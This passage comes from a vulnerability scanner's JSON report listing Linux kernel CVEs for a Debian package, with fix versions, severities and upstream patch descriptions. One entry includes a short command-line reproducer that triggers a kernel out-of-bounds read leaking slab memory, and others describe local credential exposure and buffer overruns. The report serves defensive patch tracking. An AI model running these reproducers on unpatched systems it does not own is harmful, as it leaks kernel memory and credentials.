"https://bugzilla.redhat.com/show_bug.cgi?id=2460699", "https://bugzilla.redhat.com/show_bug.cgi?id=2461451", "https://bugzilla.redhat.com/show_bug.cgi?id=2461525", "https://bugzilla.redhat.com/show_bug.cgi?id=2464093", "https://bugzilla.redhat.com/show_bug.cgi?id=2468050", "https://bugzilla.redhat.com/show_bug.cgi?id=2468192", "https://bugzilla.redhat.com/show_bug.cgi?id=2468244", "https://bugzilla.redhat.com/show_bug.cgi?id=2492092", "https://bugzilla.redhat.com/show_bug.cgi?id=2492115", "https://bugzilla.redhat.com/show_bug.cgi?id=2492270", "https://bugzilla.redhat.com/show_bug.cgi?id=2492310", "https://bugzilla.redhat.com/show_bug.cgi?id=2492408", "https://bugzilla.redhat.com/show_bug.cgi?id=2492432", "https://bugzilla.redhat.com/show_bug.cgi?id=2492717", "https://bugzilla.redhat.com/show_bug.cgi?id=2492722", "https://bugzilla.redhat.com/show_bug.cgi?id=2492762", "https://bugzilla.redhat.com/show_bug.cgi?id=2492771", "https://bugzilla.redhat.com/show_bug.cgi?id=2492795", "https://bugzilla.redhat.com/show_bug.cgi?id=2502254", "https://bugzilla.redhat.com/show_bug.cgi?id=2502320", "https://bugzilla.redhat.com/show_bug.cgi?id=2502331", "https://bugzilla.redhat.com/show_bug.cgi?id=2502346", "https://bugzilla.redhat.com/show_bug.cgi?id=2502388", "https://bugzilla.redhat.com/show_bug.cgi?id=2502413", "https://bugzilla.redhat.com/show_bug.cgi?id=2502446", "https://bugzilla.redhat.com/show_bug.cgi?id=2502473", "https://bugzilla.redhat.com/show_bug.cgi?id=2502477", "https://bugzilla.redhat.com/show_bug.cgi?id=2502518", "https://bugzilla.redhat.com/show_bug.cgi?id=2502541", "https://bugzilla.redhat.com/show_bug.cgi?id=2506782", "https://bugzilla.redhat.com/show_bug.cgi?id=2507292", "https://bugzilla.redhat.com/show_bug.cgi?id=2513141", "https://bugzilla.redhat.com/show_bug.cgi?id=2513177", "https://bugzilla.redhat.com/show_bug.cgi?id=2513253", "https://bugzilla.redhat.com/show_bug.cgi?id=2513324", "https://bugzilla.redhat.com/show_bug.cgi?id=2513397", "https://bugzilla.redhat.com/show_bug.cgi?id=2513408", "https://bugzilla.redhat.com/show_bug.cgi?id=2513452", "https://bugzilla.redhat.com/show_bug.cgi?id=2513474", "https://bugzilla.redhat.com/show_bug.cgi?id=2516501", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68745", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31479", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31566", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31656", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31692", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43334", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43368", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43370", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52918", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53053", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53072", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53091", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53182", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53209", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53246", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53254", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53256", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63944", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63975", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64037", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64113", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64255", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64515", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68086", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68117", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68264", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68315", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68376", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68406", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72098", "https://errata.almalinux.org/9/ALSA-2026-67150.html", "https://errata.rockylinux.org/RLSA-2026:67150", "https://git.kernel.org/linus/5d49b568c188dc77199d8d2b959c91da8cc27cf1%20%287.1-rc5%29", "https://git.kernel.org/stable/c/3d931ac62411a7e43b85dba5fe45e1a4a91bd5cb", "https://git.kernel.org/stable/c/55b3e91d62b2f7a24109b2d7c9f4c66d2e3b1ec1", "https://git.kernel.org/stable/c/5d49b568c188dc77199d8d2b959c91da8cc27cf1", "https://git.kernel.org/stable/c/6ef30384a50a50e4a484cddf341bc27de31aa3de", "https://git.kernel.org/stable/c/a244395d8c563ed1bb26c3ef708db6aeeaa08084", "https://git.kernel.org/stable/c/add70e2682c0ad3be2a5810bcf1bc13963ba4df9", "https://git.kernel.org/stable/c/dfef79e09ed2f5df975c98547f97f5d7f8982a24", "https://git.kernel.org/stable/c/e8768bcbe5cd30c4ea36a22022c9ffaa66903693", "https://linux.oracle.com/cve/CVE-2026-64113.html", "https://linux.oracle.com/errata/ELSA-2026-67150-0.html", "https://lore.kernel.org/linux-cve-announce/2026071922-CVE-2026-64113-87d9@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64113", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64113" ], "PublishedDate": "2026-07-19T16:17:52.68Z", "LastModifiedDate": "2026-10-19T21:17:23.873Z" }, { "VulnerabilityID": "CVE-2026-64121", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64121", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:887d458f1fdfae1bd630275e8b9c86014edf1fd8c9b0bed45428794d24f6dbfd", "Title": "kernel: net: ifb: report ethtool stats over num_tx_queues", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: ifb: report ethtool stats over num_tx_queues\n\nifb_dev_init() allocates dp-\u003etx_private to dev-\u003enum_tx_queues\nentries via kzalloc_objs(*txp, dev-\u003enum_tx_queues). Both IFB\nper-queue RX and TX stats live in those entries: ifb_xmit() updates\ntxp-\u003erx_stats using the skb queue mapping, ifb_ri_tasklet() updates\ntxp-\u003etx_stats, and ifb_stats64() aggregates both over\ndev-\u003enum_tx_queues.\n\nThe ethtool stats callbacks instead size and walk the per-queue\nstats with dev-\u003ereal_num_rx_queues and dev-\u003ereal_num_tx_queues. With\nan asymmetric device where the RX queue count exceeds the TX queue\ncount, for example:\n\n ip link add name ifb10 numtxqueues 1 numrxqueues 8 type ifb\n ethtool -S ifb10\n\nifb_get_ethtool_stats() indexes past the tx_private allocation and\ncopies adjacent slab data through ETHTOOL_GSTATS.\n\nUse dev-\u003enum_tx_queues consistently for the stats strings, the\nstats count, and the stats data walks. This reports one RX stats\ngroup and one TX stats group for each backing ifb_q_private entry,\nwhich is the queue set IFB can actually populate.\n\nReproduced under UML+KASAN at v7.1-rc2:\n\n BUG: KASAN: slab-out-of-bounds in ifb_fill_stats_data+0x3c/0xae\n Read of size 8 at addr 0000000062dbd228 by task ethtool/36\n ifb_fill_stats_data+0x3c/0xae\n ifb_get_ethtool_stats+0xc0/0x129\n __dev_ethtool+0x1ca5/0x363c\n dev_ethtool+0x123/0x1b3\n dev_ioctl+0x56c/0x744\n sock_do_ioctl+0x15f/0x1b2\n sock_ioctl+0x4d5/0x50a\n sys_ioctl+0xd8b/0xde9\n\nWith the patch applied, the same UML+KASAN repro is silent and\nethtool -S ifb10 reports only the stats backed by the single\nallocated tx_private entry.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "amazon": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64121", "https://git.kernel.org/linus/5db89c99566fc4728cc92e941d8e1975711e24b5%20%287.1-rc5%29", "https://git.kernel.org/stable/c/16bd798cb6d8337d7c3eea1adc412f31b5181d5b", "https://git.kernel.org/stable/c/2638e1773904d7aa8f24c6e7fda2ed7d69df6fa4", "https://git.kernel.org/stable/c/301a554e458e2f5ec47f2c336a7cb03b877f9fd6", "https://git.kernel.org/stable/c/5db89c99566fc4728cc92e941d8e1975711e24b5", "https://git.kernel.org/stable/c/6afdb8113cb007f9332f59a9b7fd45731b8a9de5", "https://git.kernel.org/stable/c/f8a5a76b4a683043c6eff2a060bcaa17f9316ad5", "https://lore.kernel.org/linux-cve-announce/2026071924-CVE-2026-64121-7da8@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64121", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64121" ], "PublishedDate": "2026-07-19T16:17:53.663Z", "LastModifiedDate": "2026-11-06T17:18:36.777Z" }, { "VulnerabilityID": "CVE-2026-64132", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64132", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a23bb5c53f1d23ccb4242e697b3c01db886e2fd2d667d196e41a349178e14e72", "Title": "kernel: ipv6: ioam: refresh hdr pointer before ioam6_event()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: ioam: refresh hdr pointer before ioam6_event()\n\nReported by Sashiko:\n\nIn ipv6_hop_ioam(), the hdr pointer is initialized to point into the\nskb's linear data buffer. Later, the code calls skb_ensure_writable(),\nwhich might reallocate the buffer:\n\n\tif (skb_ensure_writable(skb, optoff + 2 + hdr-\u003eopt_len))\n\t\tgoto drop;\n\n\t/* Trace pointer may have changed */\n\ttrace = (struct ioam6_trace_hdr *)(skb_network_header(skb)\n\t\t\t\t\t + optoff + sizeof(*hdr));\n\n\tioam6_fill_trace_data(skb, ns, trace, true);\n\n\tioam6_event(IOAM6_EVENT_TRACE, dev_net(skb-\u003edev),\n\t\t GFP_ATOMIC, (void *)trace, hdr-\u003eopt_len - 2);\n\nIf the skb is cloned or lacks sufficient linear headroom,\nskb_ensure_writable() will invoke pskb_expand_head(), which reallocates\nthe skb's data buffer and frees the old one, invalidating pointers to\nit. While the code recalculates the trace pointer immediately after the\ncall to skb_ensure_writable(), it fails to recalculate the hdr pointer.\n\nThis patch fixes the above by recalculating the hdr pointer before\npassing hdr-\u003eopt_len to ioam6_event(), so that we avoid any UaF.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "oracle-oval": 3, "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:76738", "https://access.redhat.com/security/cve/CVE-2026-64132", "https://bugzilla.redhat.com/2482115", "https://bugzilla.redhat.com/2482129", "https://bugzilla.redhat.com/2486398", "https://bugzilla.redhat.com/2492364", "https://bugzilla.redhat.com/2492853", "https://bugzilla.redhat.com/2496574", "https://bugzilla.redhat.com/2502230", "https://bugzilla.redhat.com/2502241", "https://bugzilla.redhat.com/2502326", "https://bugzilla.redhat.com/2502327", "https://bugzilla.redhat.com/2502330", "https://bugzilla.redhat.com/2502333", "https://bugzilla.redhat.com/2502384", "https://bugzilla.redhat.com/2502395", "https://bugzilla.redhat.com/2502431", "https://bugzilla.redhat.com/2502444", "https://bugzilla.redhat.com/2502554", "https://bugzilla.redhat.com/2502619", "https://bugzilla.redhat.com/2508320", "https://bugzilla.redhat.com/2514441", "https://bugzilla.redhat.com/2516306", "https://bugzilla.redhat.com/2516606", "https://bugzilla.redhat.com/2516717", "https://bugzilla.redhat.com/2516998", "https://bugzilla.redhat.com/2519475", "https://bugzilla.redhat.com/2521057", "https://bugzilla.redhat.com/2521375", "https://bugzilla.redhat.com/2524483", "https://bugzilla.redhat.com/2528542", "https://bugzilla.redhat.com/2528550", "https://bugzilla.redhat.com/2531066", "https://bugzilla.redhat.com/2535140", "https://bugzilla.redhat.com/2536346", "https://bugzilla.redhat.com/2540479", "https://bugzilla.redhat.com/2540500", "https://errata.almalinux.org/10/ALSA-2026-76738.html", "https://git.kernel.org/linus/e46e6bc97fb1f339730ff1ba74267fbf48e7a422%20%287.1-rc5%29", "https://git.kernel.org/stable/c/24de676da63c1122d2c13b0d546238b66d1b4e62", "https://git.kernel.org/stable/c/5af905aa8e91ff8d94572a1e089558f21dcf24ed", "https://git.kernel.org/stable/c/769723124b7c3b2bfea4cf68ad292698b87c8d01", "https://git.kernel.org/stable/c/e46e6bc97fb1f339730ff1ba74267fbf48e7a422", "https://linux.oracle.com/cve/CVE-2026-64132.html", "https://linux.oracle.com/errata/ELSA-2026-76738.html", "https://lore.kernel.org/linux-cve-announce/2026071927-CVE-2026-64132-dd76@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64132", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-64132" ], "PublishedDate": "2026-07-19T16:17:55Z", "LastModifiedDate": "2026-08-13T15:10:12.26Z" }, { "VulnerabilityID": "CVE-2026-64137", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64137", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2702a86f0c5a57d027c3636bbdee9256d73953e51a02ed50030ad24825bd96bd", "Title": "kernel: smb: client: require net admin for CIFS SWN netlink", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: require net admin for CIFS SWN netlink\n\nCIFS_GENL_CMD_SWN_NOTIFY is the userspace witness-notify command. The\nintended sender is the cifs.witness helper, but the generic-netlink\noperation currently has no capability flag, so any local process can send\nRESOURCE_CHANGE or CLIENT_MOVE notifications to the in-kernel witness\nhandler.\n\nThe same family exposes CIFS_GENL_MCGRP_SWN without multicast-group\ncapability flags. Register messages sent to that group include the witness\nregistration id and, for NTLM-authenticated mounts, the username, domain,\nand password attributes copied from the CIFS session. An unprivileged\nlocal process should not be able to join that group and receive those\nmessages.\n\nRequire CAP_NET_ADMIN for incoming SWN_NOTIFY commands with\nGENL_ADMIN_PERM, and require CAP_NET_ADMIN over the network namespace for\njoining the SWN multicast group with GENL_MCAST_CAP_NET_ADMIN. The\ncifs.witness service runs with the privileges needed for both operations.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64137", "https://git.kernel.org/linus/d1ebfce2c1d161186a82e77590bf7da2ea1bce91%20%287.1-rc5%29", "https://git.kernel.org/stable/c/969bc6370334a5b4720c5470783295d6484bbc95", "https://git.kernel.org/stable/c/9919021a3b7974ae66a5f9915e3a48c10cfd409b", "https://git.kernel.org/stable/c/9cf7eb8919344932f909b2fac76296f7656fda8d", "https://git.kernel.org/stable/c/a3238b09c58f323e40743ce174cd0ab81b5c09ed", "https://git.kernel.org/stable/c/a8d17d22db591099519a89f14dd24810daba74c3", "https://git.kernel.org/stable/c/c2397b93fbb6f44a788fff30f99be2c20cc5e50f", "https://git.kernel.org/stable/c/d1ebfce2c1d161186a82e77590bf7da2ea1bce91", "https://lore.kernel.org/linux-cve-announce/2026071928-CVE-2026-64137-f080@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64137", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-64137" ], "PublishedDate": "2026-07-19T16:17:55.57Z", "LastModifiedDate": "2026-08-13T15:08:23.06Z" }, { "VulnerabilityID": "CVE-2026-64138", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64138", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:aa409f5b167c96dd83699df7f101603904db61b0ff0c898a28cafa69fc08dfb3", "Title": "kernel: ksmbd: validate SID in parent security descriptor during ACL inheritance", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: validate SID in parent security descriptor during ACL inheritance\n\nIntroduce smb_validate_ntsd_sid() helper to safely validate Owner SID\nand Group SID inside the NT Security Descriptor (smb_ntsd) retrieved\nfrom the parent directory.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-64138", "https://git.kernel.org/linus/69f030cf95488ae1186c72ac8c66fd279664ea7f%20%287.1-rc5%29", "https://git.kernel.org/stable/c/18d8db24b0a5b7be4829238dd4022236df02d421", "https://git.kernel.org/stable/c/1c9d0646a9959752f11ca1080dc1ff26bd1756cb", "https://git.kernel.org/stable/c/69f030cf95488ae1186c72ac8c66fd279664ea7f", "https://git.kernel.org/stable/c/8efbea0253b7fa2d1960cab0fed36544ca0b41ab", "https://git.kernel.org/stable/c/f0e5c9c663badc9982e6941322eef1cb17de0f11", "https://git.kernel.org/stable/c/f7c4dee323d9176b8d3f5c69018ee57ae0d4653c", "https://lore.kernel.org/linux-cve-announce/2026071928-CVE-2026-64138-e6dd@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-64138", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-64138" ], "PublishedDate": "2026-07-19T16:17:55.68Z", "LastModifiedDate": "2026-10-30T13:19:32.61Z" }, { "VulnerabilityID": "CVE-2026-64191", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.95-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-64191", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a56f0f041f1a320526b243a64f029b006d047d83cb9959a4c93f7f36f888be73", "Title": "kernel: i2c: stub: Reject I2C block transfers with invalid length", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ni2c: stub: Reject I2C block transfers with invalid length\n\nThe I2C_SMBUS_I2C_BLOCK_DATA case in stub_xfer() uses data-\u003eblock[0]\nas the transfer length. The existing check only clamps it to avoid\noverrunning the chip-\u003ewords[256] register array, but does not validate\nit against I2C_SMBUS_BLOCK_MAX (32), which is the limit of the union\ni2c_smbus_data.block buffer (34 bytes total). The driver is a\ndevelopment/test tool (CONFIG_I2C_STUB=m, not built by default)\nthat must be loaded with a chip_addr= parameter.\n\nA local user with access to /dev/i2c-* can issue an I2C_SMBUS ioctl\nwith I2C_SMBUS_I2C_BLOCK_DATA and data-\u003eblock[0] \u003e 32, causing\nstub_xfer() to read or write past the end of the union\ni2c_smbus_data.block buffer:\n\n BUG: KASAN: stack-out-of-bounds in stub_xfer (drivers/i2c/i2c-stub.c:223)\n Read of size 1 at addr ffff88800abcfd92 by task exploit/81\n Call Trace:\n \u003cTASK\u003e\n stub_xfer (drivers/i2c/i2c-stub.c:223)\n __i2c_smbus_xfer (drivers/i2c/i2c-core-smbus.c:593)\n i2c_smbus_xfer (drivers/i2c/i2c-core-smbus.c:536)\n i2cdev_ioctl_smbus (drivers/i2c/i2c-dev.c:391)\n i2cdev_ioctl (drivers/i2c/i2c-dev.c:478)\n __x64_sys_ioctl (fs/ioctl.c:583)\n do_syscall_64 (arch/x86/entry/syscall_64.c:94)\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:130)\n \u003c/TASK\u003e\n\nThe bug exists because i2c-stub implements .smbus_xfer directly,\nbypassing the I2C_SMBUS_BLOCK_MAX validation in\ni2c_smbus_xfer_emulated(). The I2C_SMBUS_BLOCK_DATA case in the same\nfunction correctly validates against I2C_SMBUS_BLOCK_MAX, but the\nI2C_SMBUS_I2C_BLOCK_DATA case does not.\n\nFix by rejecting transfers with data-\u003eblock[0] == 0 or\ndata-\u003eblock[0] \u003e I2C_SMBUS_BLOCK_MAX with -EINVAL, consistent with\nboth the I2C_SMBUS_BLOCK_DATA case in the same function and the\nI2C_SMBUS_I2C_BLOCK_DATA validation in i2c_smbus_xfer_emulated().", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-787" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:59723", "https://access.redhat.com/security/cve/CVE-2026-64191", 